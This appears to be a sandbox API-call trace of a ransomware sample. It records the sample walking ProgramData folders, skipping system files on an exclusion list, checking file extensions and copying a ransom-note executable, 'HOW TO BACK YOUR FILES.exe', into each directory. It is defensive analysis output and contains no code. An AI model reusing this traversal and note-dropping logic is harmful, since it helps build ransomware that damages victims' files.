	[0050.654] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f638b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.654] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.654] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="Apollon865.txt.exe") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2=".") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="..") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="windows") returned -1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="bootmgr") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="temp") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="pagefile.sys") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="boot") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ids.txt") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ntuser.dat") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="perflogs") returned 1
	[0050.654] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="MSBuild") returned 1
	[0050.654] lstrlenW (lpString="vcRuntimeMinimum_x86") returned 20
	[0050.654] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned 89
	[0050.654] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0050.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0050.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xda) returned 0x5994e8
	[0050.654] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0050.654] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.654] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.654] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0050.654] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0050.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0050.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0050.654] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned 108
	[0050.655] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0050.655] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.655] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.655] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.655] GetLastError () returned 0x0
	[0050.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.655] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.655] CloseHandle (hObject=0x15c) returned 1
	[0050.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.655] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.655] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.656] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.656] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.656] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.656] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.656] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.656] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.656] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.656] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.656] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0050.656] lstrlenW (lpString="cab1.cab") returned 8
	[0050.656] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned 110
	[0050.656] lstrcpyW (in: lpString1=0x2d3e62a, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.656] lstrlenW (lpString="cab1.cab") returned 8
	[0050.656] lstrlenW (lpString="Apollon865") returned 10
	[0050.656] lstrlenW (lpString=".dll") returned 4
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.656] lstrlenW (lpString=".lnk") returned 4
	[0050.656] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.657] lstrlenW (lpString=".ini") returned 4
	[0050.657] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.657] lstrlenW (lpString=".sys") returned 4
	[0050.657] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.657] lstrlenW (lpString="cab1.cab") returned 8
	[0050.657] lstrcpyW (in: lpString1=0x2d3e62a, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0050.657] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0050.657] lstrlenW (lpString="Apollon865") returned 10
	[0050.657] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0050.657] lstrlenW (lpString=".dll") returned 4
	[0050.657] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0050.657] lstrlenW (lpString=".lnk") returned 4
	[0050.657] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0050.657] lstrlenW (lpString=".ini") returned 4
	[0050.657] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0050.657] lstrlenW (lpString=".sys") returned 4
	[0050.657] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0050.657] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0050.657] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0050.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0050.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0050.657] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 69
	[0050.657] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0050.657] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.657] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.658] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.658] GetLastError () returned 0x0
	[0050.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.658] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.658] CloseHandle (hObject=0x15c) returned 1
	[0050.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.658] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.658] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.658] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.658] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.658] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.658] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.658] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.659] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.659] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.659] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.659] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f638b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.659] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.659] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0050.659] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0050.659] lstrlenW (lpString="packages") returned 8
	[0050.659] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned 71
	[0050.659] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0050.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599450
	[0050.659] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0050.659] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.659] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.659] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0050.659] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages"
	[0050.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0050.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0050.660] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned 78
	[0050.660] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages"
	[0050.660] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.660] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.660] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.660] GetLastError () returned 0x0
	[0050.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.660] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.660] CloseHandle (hObject=0x15c) returned 1
	[0050.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.660] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.660] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.661] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.661] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.661] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.661] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.661] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.661] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.661] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.661] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.661] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f684dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.661] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.661] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="Apollon865.txt.exe") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2=".") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="..") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="windows") returned -1
